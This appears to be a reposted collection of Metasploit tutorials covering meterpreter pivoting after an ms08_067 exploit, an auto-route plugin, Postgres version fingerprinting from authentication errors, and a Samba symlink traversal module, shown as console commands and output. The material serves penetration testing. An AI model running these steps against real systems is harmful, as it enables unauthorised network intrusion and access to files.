Metasploit使用技巧

简介: Among the coolest features in metasploit is the ability to pivot through a meterpreter session to the network on the other side.

Among the coolest features in metasploit is the ability to pivot through a meterpreter session to the network on the other side. The route command in msfconsole sets this up but requires a bit of typing to get right.


[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1238)

meterpreter > run get_local_subnets
Local subnet: 10.1.1.0/255.255.255.0
meterpreter > background
msf exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
10.1.1.0 255.255.255.0 Session 1

msf exploit(ms08_067_netapi) >



After running the above commands any traffic sent to addresses in the 10.1.1.0 network will be tunnelled through the session. As part of my Blackhat DC presentation last week, I demo'd a plugin that automatically adds a route for any previously-unseen subnets when a new session opens up. Here is some example usage and output:


msf exploit(ms08_067_netapi) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.1.1.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (10.1.1.1:4444 -> 10.1.1.128:1239)
[*] AutoAddRoute: Routing new subnet 10.1.1.0/255.255.255.0 through session 1

meterpreter > background
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
10.1.1.0 255.255.255.0 Session 1

msf exploit(ms08_067_netapi) >



The auto_add_route plugin is now available in the metasploit trunk; 'svn up' to get it.

 

Postgres Fingerprinting update. The module looks something like this:

msf auxiliary(postgres_version) > set verbose true
verbose => true
msf auxiliary(postgres_version) > run

[*] 192.168.145.50:5432 Postgres - Trying username:'postgres' with password:'?dsx)S' against 192.168.145.50:5432 on database 'template1'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Pre-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As mentioned at the top, if you do happen to have login credentials, you can always use those instead:

msf auxiliary(postgres_version) > set username scott
username => scott
msf auxiliary(postgres_version) > set password tiger
password => tiger
msf auxiliary(postgres_version) > run

[*] 192.168.145.50:5432 Postgres - Trying username:'scott' with password:'tiger' against 192.168.145.50:5432 on database 'template1'
[*] 192.168.145.50:5432 Postgres - querying with 'select version()'
[+] 192.168.145.50:5432 Postgres - Command complete.
[+] 192.168.145.50:5432 Postgres - Logged in to 'template1' with 'scott':'tiger'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Post-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We've collected a few signatures so far; we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. So, in the event you run into a version/platform combination of Postgres that we haven't accounted for yet, the module will display and log the relevant signature data for an easy copy-paste. Feel free to let us know about it so we can package it up. In the meantime, I'm off to hunt down some more Postgres installs.

Many database servers helpfully provide version number, platform, and other salient details to just about anyone who asks, authenticated or not, which makes fingerprinting these applications a snap. However, Postgres is a little more coquettish about revealing such personal information about itself to just anyone. The best way to determine Postgres' version is to log in and just ask with a "select version()" query, but what if you don't (yet) have credentials?

Lucky for unauthenticated types, it turns out that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:

0000 45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30 E...aSFATAL.C280
0010 30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74 00.Mpassword aut
0020 68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c hentication fail
0030 65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73 ed for user "pos
0040 74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c tgres".Fauth.c.L
0050 32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64 273.Rauth_failed
0060 00 00 ..

This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. From here, it's pretty easy to guess what happens when Postgres has a new release -- usually, things like line counts tend to change. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it's 1017 in 8.3.9, et cetera. These differences go back at least as far as Postgres 7.4.

Metasploit (as of this morning) now supports Postgres enumeration using this technique. Check it out with a quick
Exploiting the Samba Symlink Traversal
Last night,
Kingcope uploaded a video to youtube demonstrating a logic flaw in the Samba CIFS service (this was followed by a mailing list post ). This bug allows any user with write access to a file share to create a symbolic link to the root filesystem. From this link, the user can access any file on the system with their current privileges. This affects any Samba service that allows anonymous write access, however read access to the filesystem is limited by normal user-level privileges. In most cases, anonymous users are limited to the 'nobody' account, limiting the damage possible through this exploit.

A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:

$ msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.0.2

msf auxiliary(samba_symlink_traversal) > set SMBSHARE shared

msf auxiliary(samba_symlink_traversal) > set SMBTARGET rooted

msf auxiliary(samba_symlink_traversal) > run

[*] Connecting to the server...
[*] Trying to mount writeable share 'shared'...
[*] Trying to link 'rooted' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] //192.168.0.2/shared/rooted/


Keep in mind that non-anonymous shares can be used as well, just enter SMBUser and SMBPass for a valid user account.
目录
相关文章
|
新零售 人工智能
阿里巴巴联合汉仪重磅推出五款人工智能字体:汉仪天真体、英雄体等
众所周知传统做字的人力成本非常之高,如果全靠人类设计师来完成,一套标准字库从设计到完成需要一年多的时间。
13357 0
|
5月前
|
负载均衡 网络安全 网络虚拟化
双ISP(双互联网服务提供商)
双ISP(双互联网服务提供商)指同时接入两家网络服务商,通过冗余备份、负载均衡和路径优化提升网络稳定性、速度与安全性。适用于企业关键业务、跨境服务及家庭高需求用户。实现方式包括硬件(双WAN口路由器、双网卡服务器)、软件(BGP多线接入、VPN多路径)及运营商套餐。优点为更稳定、更快速、更强抗攻击能力;缺点是成本较高且配置复杂。适合外贸公司等对网络要求高的场景,需权衡成本与技术难度。
413 3
|
算法 搜索推荐 数据挖掘
【2024年华数杯全国大学生数学建模竞赛】C题:老外游中国 问题思路分析及Python代码实现
本文提供了2024年华数杯全国大学生数学建模竞赛C题“老外游中国”的解题思路分析和Python代码实现,涉及景点评分统计、城市综合评价、游玩路线规划以及特定条件下的旅游优化问题。
1801 6
【2024年华数杯全国大学生数学建模竞赛】C题:老外游中国 问题思路分析及Python代码实现
|
11月前
|
XML JSON 缓存
深入理解RESTful API设计原则与实践
在现代软件开发中,构建高效、可扩展的应用程序接口(API)是至关重要的。本文旨在探讨RESTful API的核心设计理念,包括其基于HTTP协议的特性,以及如何在实际应用中遵循这些原则来优化API设计。我们将通过具体示例和最佳实践,展示如何创建易于理解、维护且性能优良的RESTful服务,从而提升前后端分离架构下的开发效率和用户体验。
|
9月前
|
API Python
京东拍立淘图片搜索商品接口系列(京东 API)
简介:本文介绍了如何使用拍立淘图片搜索 API 在京东平台上查找相似商品。首先需安装 Python 库 `requests`,并通过内置库 `hashlib` 生成签名。API 支持通过图片 URL 或 Base64 编码的图片进行搜索,返回商品名称、价格等信息。示例代码展示了如何构建请求并处理响应。应用场景包括电商购物助手和竞品分析,帮助用户和商家提高购物效率和市场竞争力。
|
11月前
|
机器学习/深度学习 算法 UED
在数据驱动时代,A/B 测试成为评估机器学习项目效果的重要手段
在数据驱动时代,A/B 测试成为评估机器学习项目效果的重要手段。本文介绍了 A/B 测试的基本概念、步骤及其在模型评估、算法改进、特征选择和用户体验优化中的应用,强调了样本量、随机性和时间因素的重要性,并展示了 Python 在 A/B 测试中的具体应用实例。
263 1
|
11月前
|
数据采集 传感器 数据管理
读数据质量管理:数据可靠性与数据质量问题解决之道04收集与清洗
【11月更文挑战第8天】本文介绍了数据收集的重要性和挑战,以及数据收集的方法和工具。数据收集是数据质量管理的基础,能够确保数据的完整性和准确性。然而,数据来源的多样性和数据丢失等问题也带来了挑战。文中还详细描述了内部系统、外部数据和传感器数据的收集方法,以及数据清洗的目标和流程,包括数据审查、问题数据处理和数据验证等步骤。
248 2
|
缓存 NoSQL 中间件
应对数据库不断膨胀的数据:缓存和队列中间件
【6月更文挑战第5天】该文探讨了优化数据库使用以提升应用系统性能的策略。文中建议利用Redis缓存和MQ消息队列作为辅助工具,以进一步优化性能和减少资源消耗。
465 2
应对数据库不断膨胀的数据:缓存和队列中间件
|
存储 NoSQL 关系型数据库
NoSQL数据库特点
【6月更文挑战第11天】NoSQL数据库特点
378 1
|
算法
利用栈和队列共同解决迷宫问题
利用栈和队列共同解决迷宫问题
293 0